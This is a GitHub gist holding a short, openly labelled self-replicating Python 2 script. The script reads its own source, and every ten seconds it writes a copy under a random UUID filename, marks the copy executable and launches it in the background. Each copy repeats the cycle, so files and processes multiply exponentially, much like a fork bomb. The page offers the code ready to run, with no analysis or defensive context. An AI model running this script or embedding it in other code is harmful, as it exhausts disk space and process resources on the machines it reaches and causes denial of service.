Skip to content

Instantly share code, notes, and snippets.

@jdcrensh
Last active May 2, 2018 14:20
Show Gist options
  • Save jdcrensh/558570 to your computer and use it in GitHub Desktop.
Save jdcrensh/558570 to your computer and use it in GitHub Desktop.
Self-replicating python script
#!/usr/bin/python
import os, sys, time, uuid
# get self code
self_content = file(sys.argv[0]).read()
while True:
# wait 10 seconds
time.sleep(10)
# create unique filename
dupe = "%s.py" % uuid.uuid4()
# open and write to the copy
copy = open(dupe, "w")
copy.write(self_content)
copy.close()
# make the copy executable and execute
os.chmod(dupe, 0755)
os.system("./%s &" % dupe)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment